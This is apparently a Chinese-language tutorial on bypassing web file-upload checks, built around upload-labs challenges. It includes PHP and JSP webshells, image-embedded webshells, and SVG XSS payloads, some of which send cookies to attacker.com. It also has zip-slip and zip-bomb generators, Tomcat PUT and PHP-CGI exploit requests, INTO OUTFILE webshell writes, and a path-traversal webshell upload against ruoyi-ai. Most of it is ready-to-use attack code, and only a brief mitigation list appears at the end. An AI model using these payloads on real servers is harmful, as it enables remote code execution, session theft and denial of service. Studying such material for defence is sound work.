POST /upload.php HTTP/1.1
Host: example.com
Content-Length: 3456
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
User-Agent: Mozilla/5.0 ...
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8
Connection: close

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="username"

testuser
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="avatar"; filename="avatar.png"
Content-Type: image/png

89504E470D0A1A0A0000000D494844...
------WebKitFormBoundary7MA4YWxkTrZu0gW--

*name      filename     Content-Type   *data
--------   ----------   ------------   --------
username   -            -              testuser
avatar     avatar.png   image/png      89504E470D0A1A0A0000000D494844...

文件上传绕过
+-- 前端绕过（Client-Side Bypass）
|   +-- 禁用 JavaScript
|   +-- 修改前端校验逻辑
|   `-- 先改后缀再抓包改回
|
+-- 服务端扩展名绕过（Filename Extension Bypass）
|   +-- 黑名单绕过
|   |   +-- 大小写变形（.Php, .PHP）
|   |   +-- 特殊分隔符（.php;.jpg, .php%20, .php.）
|   |   +-- 00 截断（.php%00.jpg）
|   |   +-- 双写后缀（.pphphp）
|   |   `-- 路径穿越（../../shell.php）
|   |
|   `-- 白名单绕过
|       +-- MIME 类型欺骗（Content-Type Bypass）
|       +-- 00 截断（同上）
|       +-- 路径穿越（同上）
|       `-- 解析漏洞配合（.jpg → PHP 解析）
|
+-- 文件内容绕过（Content Bypass）
|   +-- 文件魔数伪造（Magic Bytes）
|   +-- 图片马 / 图片二次渲染绕过
|   +-- SVG XSS
|   `-- 压缩包嵌套 / 路径穿越
|
+-- 解析漏洞 / 配置错误
|   +-- Apache .htaccess 解析
|   +-- IIS 6.0 分号 / 目录解析
|   +-- Nginx %00 空字节截断 / 畸形路径解析
|   +-- PHP CGI 路径解析（CVE-2012-1823）
|   +-- Tomcat 换行解析（CVE-2017-12615）
|   +-- Tomcat AJP 文件包含（CVE-2020-1938）
|   `-- 其他中间件解析漏洞
|
+-- 云存储 / OSS 配置错误
|   +-- Bucket 劫持
|   +-- 预签名 URL 滥用
|   +-- 服务端代理模式路径穿越
|   `-- 容器 / Serverless 逃逸
|
`-- 条件竞争上传（Race Condition）
    `-- 上传瞬间包含 / 二次渲染时间差

<form enctype="multipart/form-data" method="post" onsubmit="return checkFile()">
    <p>请选择要上传的图片：<p>
    <input class="input_file" type="file" name="upload_file"/>
    <input class="button" type="submit" name="submit" value="上传"/>
</form>

... ...

function checkFile() {
    var file = document.getElementsByName('upload_file')[0].value;
    if (file == null || file == "") {
        alert("请选择要上传的文件!");
        return false;
    }
    //定义允许上传的文件类型
    var allow_ext = ".jpg|.png|.gif";
    //提取上传文件的类型
    var ext_name = file.substring(file.lastIndexOf("."));
    //判断上传文件类型是否允许上传
    if (allow_ext.indexOf(ext_name + "|") == -1) {
        var errMsg = "该文件不允许上传，请上传" + allow_ext + "类型的文件,当前文件类型为：" + ext_name;
        alert(errMsg);
        return false;
    }
}

// 获取表单元素
var form = document.querySelector('form');

// 克隆替换法（彻底清除所有事件监听）
var newForm = form.cloneNode(true);
form.parentNode.replaceChild(newForm, form);

# 大小写变形
.Php, .pHp, .phP, .PHp, .pHP, .PhP, .PHP
# 双写
.pphphp
# 特殊后缀别名
.php, .php2, .php3, .php4, .php5, .php6, .php7,
.php8, .phtml, .phps, .pht, .phar, .pgif, .shtml

if (file_exists(UPLOAD_PATH)) {
    $deny_ext = array('.asp','.aspx','.php','.jsp');      // 黑名单策略
    $file_name = trim($_FILES['upload_file']['name']);    // 去除首尾空白字符

    // 文件上传代码块
    if(!in_array($file_ext, $deny_ext)) {
        // 文件上传处理逻辑
    } else {
        $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件！';
    }

// upload-labs Pass-03
if (file_exists(UPLOAD_PATH)) {
    $deny_ext = array('.asp','.aspx','.php','.jsp');      // 黑名单策略
    $file_name = trim($_FILES['upload_file']['name']);    // 去除首尾空白字符
    $file_name = deldot($file_name);                      // 删除文件名末尾的点
    $file_ext = strrchr($file_name, '.');                 // 获取文件拓展名部分(包含 `.`)
    $file_ext = strtolower($file_ext);                    // 转换为小写
    $file_ext = trim($file_ext);                          // 收尾去空
    
    // 文件上传代码块
    if(!in_array($file_ext, $deny_ext)) {
        // 文件上传处理逻辑
    } else {
        $msg = '不允许上传 .asp, .aspx, .php, .jsp 后缀文件！';
    }

.php, .php2, .php3, .php4, .php5, .php6, .php7, .php8, .phtml, .phps, .pht, .phar, .pgif, .shtml

// upload-labs Pass-09
if (file_exists(UPLOAD_PATH)) {
    // 黑名单策略，让你 ban 完了属于是
    $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",
                      ".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",
                      ".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",
                      ".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",
                      ".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",
                      ".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",
                      ".swf",".htaccess");
    $file_name = trim($_FILES['upload_file']['name']);    // 去除首尾空白字符
    $file_name = deldot($file_name);                      // 删除文件名末尾的点
    $file_ext = strrchr($file_name, '.');                 // 获取文件拓展名部分(包含 `.`)
    $file_ext = strtolower($file_ext);                    // 转换为小写
    $file_ext = trim($file_ext);                          // 收尾去空
    
    // 文件上传代码块
    if(!in_array($file_ext, $deny_ext)) {
        // 文件上传处理逻辑
    } else {
        $msg = '不允许上传 .asp, .aspx, .php, .jsp 后缀文件！';
    }

shell.pphphp
       ^^^ # 替换这部分 ─┐
shell.php  # <───────────┘

type            subtype                    comment
-------------   ------------------------   ------------------------------ 
TEXT
                text/plain                 纯文本文件（.txt）             
                text/html                  HTML网页（.html/.htm）         
                text/css                   CSS样式表（.css）              
                application/javascript     JavaScript脚本（.js）          
IMAGE                                                                  
                image/jpeg                 JPG/JPEG图片（.jpg/.jpeg）     
                image/png                  PNG图片（.png）                
                image/gif                  GIF动图（.gif）                
APPLICATION                                                            
                application/octet-stream   任意二进制文件（默认兜底类型） 
                application/pdf            PDF文档（.pdf）                
                application/zip            ZIP压缩包（.zip）              
                application/x-php          PHP脚本（.php）                
FORM                                                           
                multipart/form-data        表单包含文件上传时的类型       

.php;.jpg
.php%20
.php.
.php%00.jpg  # `%00` 表示空格，这里使用的是空格截断 + Unicode 编码混淆的技巧
.php::$DATA  # NTFS 数据流绕过，Windows 自动保存为 shell.php

# Linux 等类 Unix 系统使用 `/` 作为路径分隔符
../../shell.php
# Windows 系统使用 `\` 作为路径分隔符
..\..\windows\system32\config\shell.php

# 双写绕过
....//....//etc/passwd

# 编码绕过 (以 URL 编码为例)
# %2e(.) %25(%) %2f(/) %%5c(\)
%2e%2e%2fshell.php
%2e%2e%5cshell.php
..%252fshell.php
%252e%252e%252fshell.php

# 字符截断绕过
filename=../../../etc/passwd%00.jpg

# 绝对路径注入
filename=/var/www/html/config.php
filename=C:\inetpub\wwwroot\web.config

// upload-labs Pass-17
$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . '/' . $file_name;
    
    // 将上传文件作为临时文件移送至 $upload_file 路径
    if(move_uploaded_file($temp_file, $upload_file)){
        if(in_array($file_ext,$ext_arr)){
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
            $msg = "只允许上传.jpg|.png|.gif类型文件！";
            unlink($upload_file);
        }
    }else{
        $msg = '上传出错！';
    }
}

<?php fputs(fopen("shell.php", "w"), "<?php phpinfo() ?>") ?>

type     Magic Bytes                       Comment
----     -----------------------------     -------
JPEG     FF D8 FF E0 00 10 4A 46 49 46
PNG      89 50 4E 47 0D 0A 1A 0A
GIF      47 49 46 38 39 61                 GIF89a
         47 49 46 38 37 61                 GIF87a
BMP      42 4D
TIFF     49 49 2A 00                       Intel
         4D 4D 00 2A                       Motorola
PDF      25 50 44 46 2D
OLE2     D0 CF 11 E0 A1 B1 1A E1           DOC/XLS/PPT
XML/ZIP  50 4B 03 04                       DOCX/XLSX/PPTX, 与ZIP相同
ZIP      50 4B 03 04
RTF      7B 5C 72 74 66 
RAR      52 61 72 21 1A 07 00
7z       37 7A BC AF 27 1C 
EXE/DLL  4D 5A                             MZ
ELF      7F 45 4C 46
Class    CA FE BA BE                       Java Class (cafebabe)
MP3      49 44 33                          ID3
MP4      00 00 00 18 66 74 79 70
WAV/AVI  52 49 46 46                       RIFF

C:\Users\mytt\Desktop>type blank.png
塒NG

C:\Users\mytt\Desktop>type shell.php
<?php @eval($_GET["cmd"]); ?>

C:\Users\mytt\Desktop>copy /b blank.png + shell.php combined.jpg
blank.png
shell.php
已复制         1 个文件

AddType application/x-httpd-php .jpg

$ exiftool -Comment='<?php system($_GET[cmd]); ?>' shell.jpg

GET /view.php?page=uploads/2024/01/shell.jpg&cmd=id HTTP/1.1

GET /view.php?page=uploads/2024/01/shell.jpg&cmd=id HTTP/1.1

GET /view.php?page=uploads/image.jpg HTTP/1.1
User-Agent: <?php system($_GET['cmd']); ?>

GET /index.php?page=/var/log/nginx/access.log&cmd=id

<svg xmlns="http://www.w3.org/2000/svg">
  <script>alert(document.cookie)</script>
</svg>

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg xmlns="http://www.w3.org/2000/svg" version="1.1" width="100" height="100" onload="alert('XSS')">
  <rect width="100" height="100" fill="red"/>
</svg>

<svg xmlns="http://www.w3.org/2000/svg" onload="alert('XSS')">
  <!-- 假装是图片 -->
  <image href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mNk+M9QDwADhgGAWjR9awAAAABJRU5ErkJggg=="/>
</svg>

<!-- onload 事件 (最常用) -->
<svg xmlns="http://www.w3.org/2000/svg" onload="alert('XSS')"></svg>

<!-- 简写形式 (无空格、无引号) -->
<svg/onload=alert('XSS')>
<svg/onload=alert(1)>
<svg><script>alert(1)</script>
<svg onload=alert(String.fromCharCode(88,83,83))>

<!-- 事件处理器：鼠标悬停触发 -->
<svg xmlns="http://www.w3.org/2000/svg">
  <rect width="100" height="100" onmouseover="alert('XSS')"/>
</svg>

<!-- 事件处理器：鼠标点击触发 -->
<svg xmlns="http://www.w3.org/2000/svg">
  <circle cx="50" cy="50" r="40" onclick="alert('XSS')"/>
</svg>

<!-- 事件处理器：动画事件 -->
<svg xmlns="http://www.w3.org/2000/svg">
  <animate attributeName="x" from="0" to="100" begin="0s" dur="1s" onend="alert('XSS')"/>
</svg>

<!-- Cookie 窃取 -->
<svg xmlns="http://www.w3.org/2000/svg" onload="fetch('https://attacker.com/log?c='+document.cookie)"></svg>
<svg xmlns="http://www.w3.org/2000/svg" onload="document.body.innerHTML+='<img src=https://attacker.com/?c='+document.cookie+'>'"></svg>

<!-- 编码绕过 -->
<svg onload="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">        <!-- HTML 实体编码 (十进制) -->
<svg onload="&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;">    <!-- HTML 实体编码 (十六进制) -->
<svg onload="%61%6c%65%72%74%28%31%29">                            <!-- URL 编码 -->

<!-- 过滤器绕过 -->
<svg/onload=alert`XSS`>                                                       <!-- 反引号替代括号 (绕过圆括号过滤) -->
<SVG ONLOAD=ALERT('XSS')><sCrIpT>alert('XSS')</ScRiPt>                        <!-- 大小写混淆 -->
<svg><animate attributeName="href" values=" javascript:alert(1) " /></svg>    <!-- 空格绕过 -->

<!-- 双写绕过 -->
<scr<script>ipt>alert('XSS')</scr<script>ipt>
<svg xmlns="http://www.w3.org/2000/svg"><svg onload="alert('XSS')"></svg></svg>

<svg xmlns="http://www.w3.org/2000/svg">
  <foreignObject width="100%" height="100%">
    <body xmlns="http://www.w3.org/1999/xhtml">
      <iframe srcdoc="<script>alert('XSS')</script>"/>
    </body>
  </foreignObject>
</svg>

<svg xmlns="http://www.w3.org/2000/svg">
  <defs>
    <svg id="x" xmlns="http://www.w3.org/2000/svg">
      <script>alert('XSS')</script>
    </svg>
  </defs>
  <use xlink:href="#x"/>
</svg>

<svg xmlns="http://www.w3.org/2000/svg">
  <script>
    <![CDATA[
      alert(document.domain)
    ]]>
  </script>
</svg>

# 创建包含路径穿越的压缩包
echo "malicious content" > ../../etc/cron.d/backdoor
zip malicious.zip ../../etc/cron.d/backdoor

import zipfile
with zipfile.ZipFile('malicious.zip', 'w') as zf:
    # 写入带路径穿越的文件名
    zf.writestr('../../../var/www/html/shell.php', '<?php system($_GET["cmd"]); ?>')
    zf.writestr('../../../etc/passwd', 'root::0:0:root:/root:/bin/bash')

import zipfile
import io

def create_zip_bomb(layers=5, width=10):
    """创建递归Zip炸弹"""
    content = b"0" * 1024 * 1024  # 1MB的0
    
    # 最内层
    buffer = io.BytesIO()
    with zipfile.ZipFile(buffer, 'w', zipfile.ZIP_DEFLATED) as zf:
        for i in range(width):
            zf.writestr(f'{i}.txt', content)
    
    # 逐层嵌套
    for layer in range(layers - 1):
        buffer.seek(0)
        data = buffer.read()
        
        new_buffer = io.BytesIO()
        with zipfile.ZipFile(new_buffer, 'w', zipfile.ZIP_DEFLATED) as zf:
            for i in range(width):
                zf.writestr(f'{i}.zip', data)
        buffer = new_buffer
    
    with open('zip_bomb.zip', 'wb') as f:
        f.write(buffer.getvalue())

create_zip_bomb()

# 将恶意文件放入多层压缩，绕过扩展名检查
echo "<?php eval($_POST['x']); ?>" > shell.php
zip -r layer1.zip shell.php
zip -r layer2.zip layer1.zip
gzip layer2.zip  # 变成 layer2.zip.gz

PUT /1.jsp/ HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

[shell-content]

POST /index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: example.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 31

<?php echo shell_exec("id"); ?>

SELECT '<?php eval($_POST[1]);?>' INTO OUTFILE '/var/www/html/shell.php';

<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<!-- 部分 XXE 可结合 jar 协议写临时文件 -->

echo '<?php eval($_POST[1]);?>' > shell.php

CONFIG SET dir /var/www/html

组件名称: ageerle ruoyi-ai
影响版本: 2.0.0
隐患路径: ruoyi-modules/ruoyi-system/src/main/java/org/ruoyi/system/service/impl/SseServiceImpl.java
          speechToTextTranscriptionsV2/upload 功能
处置建议: 升级组件到 2.0.1 版本

//ruoyi-modules\ruoyi-fusion\src\main\java\org\ruoyi\fusion\controller\ChatController.java 
    /**
     * 语音转文本
     * @param file
     */
    @PostMapping("/audio")
    @ResponseBody
    public WhisperResponse audio(@RequestParam("file") MultipartFile file) {
        WhisperResponse whisperResponse = ISseService.speechToTextTranscriptionsV2(file);
        return whisperResponse;
    }

//ruoyi-modules\ruoyi-system\src\main\java\org\ruoyi\system\service\impl\SseServiceImpl.java
   /**
     * 语音转文字
     */
    @Override
    public WhisperResponse speechToTextTranscriptionsV2(MultipartFile file) {
        // 确保文件不为空
        if (file.isEmpty()) {
            throw new IllegalStateException("Cannot convert an empty MultipartFile");
        }
        // 创建一个文件对象
        File fileA = new File(System.getProperty("java.io.tmpdir") + File.separator + file.getOriginalFilename());
        try {
            // 将 MultipartFile 的内容写入文件
            file.transferTo(fileA);
        } catch (IOException e) {
            throw new RuntimeException("Failed to convert MultipartFile to File", e);
        }
        return openAiStreamClient.speechToTextTranscriptions(fileA);
    }

@PostMapping("/audio")
@ResponseBody
public WhisperResponse audio(@RequestParam("file") MultipartFile file) {
    WhisperResponse whisperResponse = ISseService.speechToTextTranscriptionsV2(file);

@Override
public WhisperResponse speechToTextTranscriptionsV2(MultipartFile file) {
    // 省略非关键代码 (非空判断、异常处理)
    // 创建一个文件对象 (无任何安全检查)
    File fileA = new File(
        System.getProperty("java.io.tmpdir")  // 获取系统临时目录
        + File.separator                      // 系统路径分隔符（/ 或 \）
        + file.getOriginalFilename()          // 获取上传文件的原始文件名
    );
    // 将 MultipartFile 的内容写入文件
    file.transferTo(fileA);
    return openAiStreamClient.speechToTextTranscriptions(fileA);
}

POST /chat/audio HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxk
Content-Length: 628

------WebKitFormBoundary7MA4YWxk
Content-Disposition: form-data; name="file"; filename="../../shell.jsp"
Content-Type: application/octet-stream

<%@ page import="java.util.*,java.io.*"%>
<%
if (request.getParameter("cmd") != null) {
    Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
    OutputStream os = p.getOutputStream();
    InputStream in = p.getInputStream();
    DataInputStream dis = new DataInputStream(in);
    String disr = dis.readLine();
    while ( disr != null ) {
        out.println(disr);
        disr = dis.readLine();
    }
}
%>
------WebKitFormBoundary7MA4YWxk--

(1) ----> 文件上传白名单 + 内容检测 + 沙箱
(2)(3) -> 主机加固、最小权限、EDR 监控
(4)(5) -> 微隔离、零信任、异常流量检测
(6)(7) -> 域控加固、AD 审计、蜜罐诱捕
(8) ----> DLP 数据防泄漏、外联监控
(9) ----> 日志集中存储 (WORM)、不可篡改审计